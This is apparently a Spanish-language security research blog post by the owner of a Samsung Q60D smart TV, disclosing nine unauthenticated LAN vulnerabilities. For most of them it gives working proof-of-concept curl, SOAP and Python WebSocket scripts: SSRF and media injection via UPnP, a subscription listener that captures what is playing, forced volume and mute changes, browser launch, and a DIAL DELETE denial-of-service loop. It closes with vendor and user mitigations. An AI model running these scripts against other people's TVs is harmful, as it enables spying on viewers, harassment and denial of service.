📺 Una tarde en casa, Twitter y "¿por qué no?"
Una tarde en casa, leyendo Twitter, vi a alguien que había hackeado su tele. Y pensé: "¿por qué no...?"
Tenía una Samsung Q60D (TQ50Q60DAUXXC, firmware T-NKLDDEUC-0090-2115.2) conectada a la red de casa. La monté en el salón, le lancé un nmap y empecé a tirar del hilo. Lo que empezó como curiosidad se convirtió en 9 vulnerabilidades confirmadas, varias de ellas explotables sin autenticación desde cualquier dispositivo de la misma red WiFi.
Este post tiene todos los detalles: protocolos, PoCs funcionales y explicación de por qué funciona cada cosa.
📡 Cómo funciona una Smart TV por dentro
Antes de hablar de bugs, hay que entender qué está corriendo en la tele.
Una Smart TV moderna no es solo un display. Es un servidor de red completo que expone servicios para que tu móvil, tablet y otras apps de la red puedan controlarlo. Los protocolos principales son:
- UPnP/DLNA: Protocolo de control basado en XML/SOAP. Sirve para que apps como VLC o el móvil puedan decirle a la tele "reproduce este archivo", "para", "sube el volumen". Los mensajes van en XML y se mandan por HTTP POST.
- DIAL (Discovery and Launch): Protocolo que usan Netflix, YouTube y Chrome para descubrir receptores en la red y lanzar aplicaciones en ellos. La tele expone una API HTTP donde se puede preguntar "¿tienes Netflix?" y pedir que lo arranque.
- SmartView / WebSocket: API propietaria de Samsung que usan apps de control remoto. Se conectan por WebSocket y mandan eventos en JSON.
- Google Cast / AirPlay: Protocolos de casting de Google y Apple respectivamente. La tele hace de receptor.
Todo esto es útil para la comodidad del usuario. El problema es cuando ninguno de estos servicios pide autenticación.
🔍 Enumeración: cuántos puertos tiene abiertos una Samsung
Lo primero que hice fue un nmap básico:
nmap -sV -p- 192.168.1.36
Resultado: 16 puertos TCP abiertos.
| Puerto | Servicio | Auth |
|---|---|---|
| 7000 | AirPlay/AirTunes RTSP | NO |
| 7678 | UPnP DIAL Receiver | NO |
| 8001 | SmartView API v2 | PARCIAL |
| 8008 | Google Cast | NO |
| 8080 | DIAL WebServer | PARCIAL |
| 8187 | UPnP AllShare | NO |
| 9119 | UPnP ScreenSharing | NO |
| 9197 | UPnP DMR / DLNA | NO |
| ... | ... | ... |
El 80% de los servicios no pedían credenciales de ningún tipo.
Descubrí los servicios SSDP con:
gssdp-discover -i eth0 --timeout=5
La tele se anunciaba a sí misma en la red con tres UUIDs distintos apuntando a servicios UPnP en puertos 9197 y 9119.
🚨 VULN-001: SSRF vía UPnP SetAVTransportURI
Puerto: 9197 | Auth: Ninguna | Severidad: Alta
Cómo funciona UPnP/DLNA
El protocolo UPnP permite que un cliente (tu móvil) envíe acciones SOAP a la tele para controlar la reproducción. La acción SetAVTransportURI es la que le dice a la tele "carga este recurso multimedia". El TV recibe una URL y hace una petición HTTP a esa URL para verificar el contenido antes de reproducirlo.
El problema: acepta cualquier URL sin autenticación y sin validar que sea multimedia.
Por qué funciona
Cuando envías SetAVTransportURI, la tele hace dos peticiones al servidor que indica la URL:
HEAD— para comprobar headers (tipo de contenido, tamaño, soporte DLNA)GET— para descargar el contenido
Eso convierte a la tele en un proxy HTTP involuntario: puedes hacer que resuelva nombres internos, pruebe puertos, y haga peticiones en tu nombre desde su posición en la red.
PoC completo
1. Montar un servidor HTTP para capturar las peticiones de la tele:
python3 -m http.server 9999
2. Enviar la acción SOAP:
curl -s -X POST http://192.168.1.36:9197/upnp/control/AVTransport1 \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID>
<CurrentURI>http://192.168.1.46:9999/test</CurrentURI>
<CurrentURIMetaData></CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>'
3. Lo que apareció en el servidor HTTP:
[18:58:47] 192.168.1.36:59180 → HEAD /test.mp4 → 200
Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1', 'getCaptionInfo.sec': '1'}
[18:58:47] 192.168.1.36:59190 → GET /test.mp4 → 200
Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1'}
La tele hizo HEAD y GET a mi servidor sin que yo hubiera hecho nada más. La IP origen era 192.168.1.36 — la propia tele.

Impacto real:
- La tele actúa como proxy para hacer peticiones a cualquier host/puerto de la red
- Puedes escanear hosts internos desde la posición de la tele
- Cuando probé con
http://localhost:PORT/, devolvía error 716 para puertos internos (lo que confirma que lo intenta)
📺 VULN-002: Media Injection sin autenticación
Puerto: 9197 | Auth: Ninguna | Severidad: Alta
Por qué funciona
Una vez que tienes SetAVTransportURI, la tele carga lo que le mandes. Y con la acción Play, lo reproduce. Sin popup, sin confirmación, sin PIN. Cualquier dispositivo en la red WiFi puede poner lo que quiera en pantalla.
Los MIME types que acepta directamente: image/bmp, image/jpeg, image/png, audio/mpeg, video/mp4, video/x-matroska.
PoC completo — Mostrar una imagen roja en la tele
#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46
# 1. Crear imagen BMP roja de 200x200
python3 -c "
import struct
w, h = 200, 200
rs = (w*3+3)&~3
d = b'BM' + struct.pack('<I',54+rs*h) + b'\0\0\0\0' + struct.pack('<I',54)
d += struct.pack('<I',40) + struct.pack('<ii',w,h) + struct.pack('<HH',1,24) + b'\0'*24
for y in range(h):
d += b'\x00\x00\xff'*w + b'\0'*(rs-w*3)
open('/tmp/pwned.bmp','wb').write(d)
"
# 2. Servir el archivo
cd /tmp && python3 -m http.server 9999 &
sleep 1
# 3. Cargar en la tele con metadatos DLNA
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
-d "<?xml version=\"1.0\"?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"
s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<s:Body>
<u:SetAVTransportURI xmlns:u=\"urn:schemas-upnp-org:service:AVTransport:1\">
<InstanceID>0</InstanceID>
<CurrentURI>http://${MY_IP}:9999/pwned.bmp</CurrentURI>
<CurrentURIMetaData><DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/"><item id="0" parentID="-1" restricted="false"><dc:title>HACKED</dc:title><res protocolInfo="http-get:*:image/bmp:*">http://${MY_IP}:9999/pwned.bmp</res><upnp:class>object.item.imageItem</upnp:class></item></DIDL-Lite></CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>"
sleep 1
# 4. Reproducir
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#Play"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID><Speed>1</Speed>
</u:Play>
</s:Body>
</s:Envelope>'
Respuesta real de la tele:
<u:SetAVTransportURIResponse/> ← Cargado con éxito
<u:PlayResponse/> ← Reproducción iniciada
<CurrentTransportState>TRANSITIONING</CurrentTransportState>
Log del servidor:
[19:00:16] 192.168.1.36 → HEAD /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET /pwned.bmp → 200
[19:00:21] 192.168.1.36 → GET /pwned.bmp → 200 ← tercera descarga = rendering activo


La tele descargó la imagen tres veces (verificación + decodificación + render) y la mostró en pantalla.
Acciones UPnP disponibles sin autenticación:
SetAVTransportURI, Play, Stop, Pause, Next, Previous, GetTransportInfo, GetMediaInfo, GetPositionInfo
👁️ VULN-003: SSRF por callbacks UPnP SUBSCRIBE
Puertos: 9197, 9119 | Auth: Ninguna | Severidad: Media-Alta
Cómo funciona UPnP Events
Además de enviar comandos, UPnP permite suscribirse a eventos. Funciona así: le dices a la tele "cuando cambies de estado, avísame en esta URL". La tele guarda tu callback y cada vez que alguien cambia el volumen, para una película o cambia de fuente, te manda un HTTP NOTIFY con el estado completo.
Esto es para que tu app de control remoto pueda actualizar su interfaz en tiempo real. El problema es que acepta cualquier URL como callback, sin autenticación.
PoC: espiar qué está viendo alguien en la tele
#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46
# 1. Servidor que captura y parsea los eventos
python3 -c "
import http.server, time
class H(http.server.BaseHTTPRequestHandler):
def do_NOTIFY(self):
body = self.rfile.read(int(self.headers.get('Content-Length',0)))
print(f'[{time.strftime(\"%H:%M:%S\")}] TV State Change:')
text = body.decode('utf-8', errors='replace')
if 'TransportState' in text:
import re
state = re.findall(r'TransportState val=\"([^\"]+)\"', text)
uri = re.findall(r'CurrentTrackURI val=\"([^\"]+)\"', text)
title = re.findall(r'dc:title[^>]*>([^<]+)<', text)
if state: print(f' Estado: {state[0]}')
if uri: print(f' URI: {uri[0]}')
if title: print(f' Título: {title[0]}')
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
print('Escuchando cambios de estado del TV...')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
sleep 1
# 2. Suscribirse — la tele enviará NOTIFYs a mi servidor
curl -s -X SUBSCRIBE "http://$TV:9197/upnp/event/AVTransport1" \
-H "CALLBACK: <http://$MY_IP:9999/spy>" \
-H "NT: upnp:event" \
-H "TIMEOUT: Second-1800"
Respuesta de la tele:
HTTP/1.1 200 OK
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
TIMEOUT: Second-300
Notificaciones recibidas (más de 100 en una sesión de prueba):
NOTIFY /spy HTTP/1.1
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
NT: upnp:event
NTS: upnp:propchange
User-Agent: Samsung Server UPnP/1.0
<AVTransportURI val="http://...contenido_reproducido..."/>
<TransportState val="PLAYING"/>

Servicios suscribibles sin auth:
/upnp/event/AVTransport1— estado de reproducción/upnp/event/RenderingControl1— volumen y mute/upnp/event/ConnectionManager1— conexiones activas/upnp/event/ScreenSharingService1— estado del mirroring
📱 VULN-004: ScreenSharing sin aprobación del usuario
Puerto: 9119 | Auth: Ninguna | Severidad: Alta
Cómo funciona el Screen Mirroring
Samsung usa WiFi Direct (P2P) para el mirroring de pantalla. La negociación empieza con una llamada SOAP donde el cliente dice "quiero conectarme para hacer mirroring, aquí están mis MACs". Normalmente esto debería mostrar un popup en la tele pidiendo aprobación.
No lo hace. La acción X_ConnectScreenSharingM2TV responde directamente y además filtra el BSSID del router WiFi al que está conectada la tele.
Por qué eso importa
El BSSID es la MAC del punto de acceso WiFi. Con esa información y bases de datos públicas como WiGLE, se puede triangular la ubicación geográfica del dispositivo (y por tanto de la casa o despacho donde está).
PoC
curl -s -X POST http://192.168.1.36:9119/upnp/control/ScreenSharingService1 \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:samsung.com:service:ScreenSharingService:1#X_ConnectScreenSharingM2TV"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:X_ConnectScreenSharingM2TV
xmlns:u="urn:samsung.com:service:ScreenSharingService:1">
<mWlanMacAddress>AA:BB:CC:DD:EE:FF</mWlanMacAddress>
<mP2pDeviceAddress>AA:BB:CC:DD:EE:FF</mP2pDeviceAddress>
<mBluetoothMacAddress>AA:BB:CC:DD:EE:FF</mBluetoothMacAddress>
<mWFDSourcePort>7236</mWFDSourcePort>
</u:X_ConnectScreenSharingM2TV>
</s:Body>
</s:Envelope>'
Respuesta real de la tele:
<u:X_ConnectScreenSharingM2TVResponse>
<tBSSID>44:3b:14:2b:8c:78</tBSSID>
<tWlanFreq>2437</tWlanFreq>
<tListenFreq>2437</tListenFreq>
</u:X_ConnectScreenSharingM2TVResponse>
El BSSID 44:3b:14:2b:8c:78 es la MAC de mi router. La frecuencia 2437 MHz corresponde al canal 6 de la banda 2.4GHz.
🔌 VULN-005: Canales WebSocket sin autenticación
Puerto: 8001 | Auth: Ninguna (en varios canales) | Severidad: Media
Cómo funciona SmartView
La API SmartView de Samsung permite control remoto completo de la tele. Funciona por WebSocket: la app se conecta, la tele muestra un popup pidiendo aceptar la conexión, y si el usuario acepta, se establece la sesión.
El canal samsung.remote.control (el que manda teclas del mando a distancia) sí requiere token. Pero hay muchos otros canales que se conectan directamente:
| Canal | Resultado |
|---|---|
samsung.remote.control |
ms.channel.unauthorized ✗ |
samsung.remote |
ms.channel.connect ✓ sin auth |
samsung.companion |
ms.channel.connect ✓ sin auth |
com.samsung.companion |
ms.channel.connect ✓ sin auth |
samsung.art.control |
ms.channel.connect ✓ sin auth |
samsung.channel.0 |
ms.channel.connect ✓ sin auth |
PoC
import asyncio, websockets, json, base64
async def connect():
name = base64.b64encode(b"SecurityTest").decode()
uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.companion?name={name}"
async with websockets.connect(uri) as ws:
msg = await ws.recv()
data = json.loads(msg)
print(f"Evento: {data['event']}")
print(f"Client ID asignado: {data['data']['id']}")
print(f"Clientes conectados: {len(data['data']['clients'])}")
asyncio.run(connect())
Respuesta real:
{
"data": {
"clients": [{
"attributes": {"name": "U2VjdXJpdHlUZXN0"},
"connectTime": 1776186527030,
"deviceName": "U2VjdXJpdHlUZXN0",
"id": "cbab98f8-bde9-4116-865f-6e427cd5645d",
"isHost": false
}],
"id": "cbab98f8-bde9-4116-865f-6e427cd5645d"
},
"event": "ms.channel.connect"
}

Una sesión persistente establecida, sin popup en pantalla, sin confirmación del usuario.
📊 VULN-006: Information Disclosure masiva
Puertos: 8001, 7000, 8008, 9119, 7678, 8080 | Auth: Ninguna | Severidad: Media
Por qué importa
La tele expone datos de identidad y contexto en endpoints públicos sin autenticación. Esto por sí solo no es un exploit, pero es el combustible que hace los otros ataques mucho más precisos.
PoC: fingerprint completo de la tele
#!/bin/bash
TV=192.168.1.36
echo "=== SmartView API ==="
curl -s "http://$TV:8001/api/v2/" | python3 -m json.tool
echo "=== Google Cast ==="
curl -s "http://$TV:8008/setup/eureka_info" | python3 -m json.tool
echo "=== AirPlay ==="
curl -s "http://$TV:7000/info" | strings | grep -E "(firmware|serial|model|version|build|mac|SDK|Engine)"
echo "=== Screen Sharing MACs ==="
curl -s "http://$TV:9119/screen_sharing" | python3 -c "
import sys, re
text = sys.stdin.read()
ss = re.findall(r'X_ScreenSharing>([^<]+)', text)
if ss:
for pair in ss[0].split(','): print(f' {pair}')
"
echo "=== Apps DIAL ==="
for app in Netflix YouTube; do
state=$(curl -s -m 2 "http://$TV:8080/ws/apps/$app" | python3 -c "import sys,re; m=re.search(r'<state>([^<]+)',sys.stdin.read()); print(m.group(1) if m else '?')")
echo " $app: $state"
done
Lo que devuelve:
| Dato | Valor | Fuente |
|---|---|---|
| Modelo | TQ50Q60DAUXXC | 8001, 9197 |
| Firmware | T-NKLDDEUC-0090-2115.2 | 8001, 7000 |
| Serial | 0FJC3SCXA03609V | 7000, 9197 |
| WiFi MAC | 28:E6:A9:6E:38:D6 | 8001, 9119 |
| Ethernet MAC | F4:DD:06:AC:EE:A0 | 7000, 9119 |
| Bluetooth MAC | 28:E6:A9:6E:38:D7 | 9119 |
| P2P MAC | 2A:E6:A9:6E:38:D6 | 9119, 9197 |
| Router BSSID | 44:3B:14:2B:8C:78 | 8001, 9119 |
| Web Engine | Chromium 74.128.1 | 7000 |
| RSA Public Key completa | 2048-bit | 8008 |
| Netflix | stopped v80.24.16020 | 8080 |

🔊 VULN-007: UPnP RenderingControl sin autenticación — volumen y mute remotos
Puerto: 9197 | Auth: Ninguna | Severidad: Media
Por qué importa
El mismo servicio UPnP que habilita las otras vulns del puerto 9197 (AVTransport, RenderingControl, ConnectionManager) expone también control total del volumen y del mute sin autenticación. Cualquiera en la WiFi puede dejar la tele muda, subir el volumen al máximo de golpe o hacer zapping del mute — sabotaje puro, y con volumen al 100 hay riesgo auditivo real.
Esto no era obvio a priori — RenderingControl suena a control de renderizado gráfico, pero incluye el mixer de audio.
PoC real contra mi tele
TV=192.168.1.36
# Leer volumen actual
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel></u:GetVolume></s:Body></s:Envelope>'
# Bajar a 7 (o 100, o lo que quieras)
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetVolume"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredVolume>7</DesiredVolume></u:SetVolume></s:Body></s:Envelope>'
# Mute ON
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetMute"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetMute xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredMute>1</DesiredMute></u:SetMute></s:Body></s:Envelope>'
Respuesta real:
<u:GetVolumeResponse><CurrentVolume>22</CurrentVolume></u:GetVolumeResponse>
<u:SetVolumeResponse/> ← bajado a 7
<u:GetVolumeResponse><CurrentVolume>7</CurrentVolume></u:GetVolumeResponse>
<u:SetMuteResponse/> ← muteado

Acciones del servicio RenderingControl:1 disponibles sin auth:
GetVolume, SetVolume, GetMute, SetMute, ListPresets, SelectPreset, X_GetAspectRatio, X_SetAspectRatio, X_Move360View, X_Zoom360View, X_Origin360View, X_ControlCaption.
Combinado con VULN-002 tienes un arma perfecta de prank/harassment remoto: imagen a pantalla completa + volumen al 100 + mute off, sin un solo clic del usuario.
🌐 VULN-008: Lanzamiento del navegador sin auth — desincronización DIAL ↔ MSF
Puerto: 8001 (WebSocket) | Auth: Ninguna | Severidad: Media-Alta
Cómo lo encontré
Buscando cómo abrir el navegador de la tele a una URL, la ruta obvia es DIAL (POST /ws/apps/WebBrowser), que responde 200 OK pero deja el estado en stopped. Samsung mantiene un whitelist en el launcher de DIAL que explícitamente bloquea el navegador — decisión de hardening razonable.
Pero Samsung tiene dos caminos independientes al app launcher: DIAL y MSF (Multi-Screen Framework, vía WebSocket en el puerto 8001). Y sólo el whitelist de DIAL cubre al navegador. La API MSF arranca org.tizen.browser sin rechistar.
Por qué funciona
El canal WebSocket samsung.remote.control sí requiere token (lo que cubre SendRemoteKey, el método principal para simular pulsaciones del mando). Pero otros canales — samsung.remote, samsung.companion, samsung.art.control, samsung.channel.0 — aceptan conexión sin token (VULN-005).
Dentro de cualquiera de esos canales, el método ms.application.start se procesa sin comprobar si el cliente está autorizado a lanzar esa app específica. DIAL tiene whitelist; MSF no. Launcher doble, guardia sólo en una puerta.
PoC completo
import asyncio, websockets, json, base64
async def pwn():
name = base64.b64encode(b"attacker").decode()
uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.remote?name={name}"
async with websockets.connect(uri) as ws:
await ws.recv() # handshake
await ws.send(json.dumps({
"method": "ms.application.start",
"params": {"id": "org.tizen.browser"}
}))
asyncio.run(pwn())
Evidencia:
$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>stopped</state>
$ python3 pwn.py
$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>running</state> ← Navegador abierto sin consentimiento

Qué no conseguí
Probé 33 variantes del payload para forzar la URL inicial (data.url, data.uri, data.href, data.operation con uri, data.extra, params top-level, options.url, args.url, JSON stringified, ms.webapplication.start con distintos nombres de campo, IDs alternativos WebBrowser / browser / Internet / com.samsung.tv-web-browser, etc.). En todas, el navegador arranca pero carga su home por defecto. Un servidor HTTP en 192.168.1.46 no recibió ni una sola petición desde la tele.
Samsung parece haber desvinculado el launcher MSF del app-control de Tizen justamente para cerrar este vector. Buena defensa en profundidad — pero parcial: el atacante sigue pudiendo abrir el navegador sin consentimiento, lo que ya habilita escenarios de prank, phishing físico (si el usuario sigue usando el browser ve la pantalla "interrumpida" de forma creíble) y futura escalada si algún día se descubre un bypass del aislamiento URL.
Dato bonus: Samsung ya pensó en este vector
Probando ms.channel.emit con eventos del namespace interno, la tele responde:
{"event":"ms.error","data":{"message":"Usage of `ms.` in custom event is not allowed. Perhaps use a alternative namespace."}}
Ese mensaje — redactado en inglés no nativo con la sugerencia de "usar un namespace alternativo" — delata que alguien blindó ms.channel.emit tras observar este mismo patrón de inyección. Pero el hardening cubre sólo emit, no ms.application.start directo. Clásico agujero por inconsistencia.
🎛️ VULN-009: ACL DIAL inconsistente y DELETE sin auth
Puerto: 8080 | Auth: Ninguna (parcial) | Severidad: Media
Problema 1: misma API, ACL distinta por app
La API DIAL expone cada app bajo /ws/apps/<name>. El control de acceso a POST (lanzamiento) no es uniforme:
| App | POST externo |
Comportamiento |
|---|---|---|
| Netflix | 201 Created |
Se lanza sin auth |
| YouTube | 403 Forbidden |
ACL por IP activo |
| WebBrowser | 404 Not Found |
Handler niega externos |
No hay un patrón limpio. Netflix queda expuesto a lanzamiento remoto trivial; YouTube bloqueado; WebBrowser en un estado raro (el 404 es engañoso — el handler existe, sólo que no responde al POST para clientes externos, cosa que comprobé porque el estado sí cambia internamente bajo condiciones específicas).
Problema 2: DELETE no está en la ACL
El control que hay para POST se olvidaron de aplicarlo a DELETE. Una petición DELETE /ws/apps/<app>/run cierra la app sin auth ni token:
# Cualquier usuario de la WiFi puede parar Netflix/YouTube/WebBrowser/etc.
curl -X DELETE http://192.168.1.36:8080/ws/apps/Netflix/run
# HTTP/1.1 200 OK
DoS trivial: scriptado sobre las apps instaladas, un atacante de la red local puede impedir el uso normal de la tele (while true; do curl -X DELETE …; sleep 2; done). Sin logs visibles, sin popup, sin forma de saber desde dónde viene.

Por qué me importa documentarlo
Cuando las respuestas de una misma API varían según la app sin un patrón claro, es fácil pensar que hay un control bypasseable donde en realidad solo hay políticas asimétricas. Documentar la inconsistencia evita mal-interpretar diferencia de manejador como bypass de control.
🛡️ Defensas que sí funcionan
La tele no es un queso completo. Hubo cosas que probé que no funcionaron:
| Ataque | Defensa | Resultado |
|---|---|---|
file:// en SetAVTransportURI |
Solo acepta http:// |
Error 716 |
gopher://, dict://, ftp:// |
Solo http:// |
Error 716 |
| XXE via SOAP XML | Parser rechaza DOCTYPE | Error 402 |
| Command injection en URL | Tratado como literal | No interpretado |
Format string %n%s |
No procesado | Error 701 |
| Buffer overflow 50K en metadata | No crash | Parser robusto |
| HTML via DLNA | MIME type bloqueado | Error 714 |
| WebSocket token bruteforce | Token auth sólido | ms.channel.unauthorized |
| SOAP multi-action injection | Solo procesa 1ª acción | Ignora resto |
🎓 Qué aprender de esto
Si eres fabricante (Samsung):
- Autenticación en acciones UPnP sensibles —
SetAVTransportURI,Play,SetVolumeySetMuteno deberían aceptarse de cualquiera en la red sin confirmación del usuario - Autorización en UPnP SUBSCRIBE — no aceptar callbacks a URLs arbitrarias sin validación previa
- Popup de aprobación en ScreenSharing — el usuario debería confirmar en pantalla
- Cerrar canales WebSocket sin auth —
samsung.companion,samsung.remote, etc., y gate dems.application.startequivalente al de DIAL - Reducir información expuesta — serial, MACs, BSSID del router, clave RSA pública... demasiado
- Uniformar la ACL DIAL — Netflix sin ACL, YouTube con ACL,
DELETEsin ACL: la política tiene que ser la misma para todos los apps y todos los métodos HTTP - Sincronizar whitelists DIAL y MSF — si DIAL bloquea el lanzamiento del navegador, MSF tiene que aplicar la misma regla, no abrir una segunda puerta
Si eres usuario:
- VLAN IoT separada — la tele no debería compartir red con tu portátil de trabajo
- Bloquear puertos 9197, 9119, 8187 desde otros dispositivos si tu router lo permite
- Actualizar firmware siempre que haya parche disponible
- No conectar la tele a redes WiFi públicas/compartidas
🚀 Conclusión
La historia empezó con "lo vi en Twitter, ¿por qué no?" y terminó con 9 vulnerabilidades confirmadas explotables desde la misma red WiFi sin un solo clic del usuario.
Dónde puede acabar esto mal:
- Hospitales: una tele en sala de reuniones con información médica proyectada — cualquier visitante con portátil puede ver lo que se está emitiendo
- Oficinas: manipulación de pantallas en sala de espera o salas de reuniones
- Hogares compartidos: flatmates curiosos con acceso a la misma WiFi
- Hoteles: habitaciones en la misma VLAN (pasa más de lo que parece)
Otro recordatorio clásico de IoT: la seguridad se diseña después de la comodidad, si es que se diseña.
Este análisis se realizó sobre mi propia Samsung Q60D en mi red doméstica.